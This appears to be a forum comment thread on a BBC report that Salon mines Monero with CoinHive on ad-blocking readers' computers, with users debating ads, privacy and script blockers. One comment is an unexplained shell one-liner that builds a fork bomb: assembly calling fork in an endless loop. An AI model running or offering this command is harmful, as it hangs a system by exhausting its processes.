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Salon Magazine Mines Monero On Your Computer If You Use an Ad Blocker (bbc.com)
dryriver shares a report from BBC: News organizations have tried many novel ways to make readers pay -- but this idea is possibly the most audacious yet. If a reader chooses to block its advertising, U.S. publication Salon will use that person's computer to mine for Monero, a cryptocurrency similar to Bitcoin. Creating new tokens of a cryptocurrency typically requires complex calculations that use up a lot of computing power. Salon told readers: "We intend to use a small percentage of your spare processing power to contribute to the advancement of technological discovery, evolution and innovation." The site is making use of CoinHive, a controversial mining tool that was recently used in an attack involving government websites in the UK, U.S. and elsewhere. However, unlike that incident, where hackers took control of visitors' computers to mine cryptocurrency, Salon notifies users and requires them to agree before the tool begins mining.
People use adblockers because they have no trust in websites to not abuse their computers, eg. by installation of malware through the served ads.
That's part of it for sure. However, it's not just that.
People (myself included) also use adblockers because they don't want a page they are reading plastered with annoying ads that jump at you every second. It's annoying. You know what I do when a website (usually some online publication, e.g. newspaper or magazine) tells me "you've got an ad blocker installed, please whitelist us to continue reading"? In 99% of the cases, I just leave that website. Most of the stuff I click just isn't THAT interesting to be worth being blasted by ads.
Which brings us to another point. These sites want to "make readers pay". The things is - readers don't want to pay for most of this content. They're happy to read it if it's free, but if it's not - they can live without it. Not wanting to pay includes not just not wanting to pay with their money - but also with their attention (ads blasting) and computing power (cryptocurrency mining). There's very little content out there that any particular reader is actually willing to pay for.
How will the poor websites fund themselves you ask? Well, it's their effin' problem that the advertising became way too aggressive and that the web became dominated at one point with websites which are 90% ads and 10% content. Not to mention all the malware and tracking and all of the other crap being "served" via the ads. Had the ads been less aggressive, ad blockers would not have proliferated. Even offline we are inundated with advertising, it goes way beyond just the businesses which fund themselves primarily via ads (e.g. free to air TV and in general media outlets), it looks like everyone is trying to make an extra buck by selling some space for an ad. Is it a wonder that people then massively say well screw you, I'm blocking this?
I don't mind ads but I mind my privacy.
I use EFF's Privacy Badger plugin, which automatically blocks web sites that it has detected to track me.
Ads on web sites that respect users' privacy are still visible.
If their web site uses ad-networks that tracks visitors and those ads are blocked as a result then that is the site owner's fault -- and the site deserves to get those ads blocked!
"We mustn't be caught by surprise by our own advancing technology" -- Aldous Huxley
If you go to Salon with uBlock Origin in Medium Mode - third party scripts and frames are blocked - it turns out it loads fine.
And then you see articles like this on the front page and remember why you deleted your bookmark to Salon about ten years ago
https://www.salon.com/2018/02/18/john-oliver-gives-us-six-lessons-on-how-to-report-on-trump/
A listicle based on failed Brit comedian and CURRENT YEAR man, now a wholly owned subsidiary of the DNC saying things like 'late-night comedians have become the nation's front-running truth tellers'. Yeah, I think I'll pass. If he's not going to cry like Jimmy Kimmel, how do I know he's sincere?
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
> If they want to put up an offer when the web page loads that's fine. I can take the offer or leave it. (and I assure you I will leave it) But if they simply go ahead and start trying to mine bitcoin on my computer without asking me first, now we have a fight.
From the Fucking Summary:
> However, unlike that incident, where hackers took control of visitors' computers to mine cryptocurrency, Salon notifies users and requires them to agree before the tool begins mining.
(In this case, you accuse Salon of saying "alt-right extremists"
I'm not accusing. I'm quoting: https://www.salon.com/2017/12/27/is-bitcoin-enabling-alt-right-extremists/
For those that don't like this policy, there are Coin-Hive blockers.
Soon, instead of complaining about your ad-blocker, media sites will complain about your mining-blocker.
ADblockers do not block ads per se. They block scipts and elements of web pages. So Salon wants to be a dick, the adblockers will find the script and block it, good luck the morons at Salon. Can't run shit on a browser that is properly configured for example by https://noscript.net/ runs fine on https://www.waterfoxproject.or... (if you hate quantum and preferred the previous layouts easiest way to go.), excluding of course any browser out of M$, they control it and make no mistake and it will serve compulsory M$ ads, I waiting for the boot up ad, you now ad kicks in at boot and you have to interact with the add at the appropriate points for the next 10 minutes else the computer will complete the boot.
Chaos - everything, everywhere, everywhen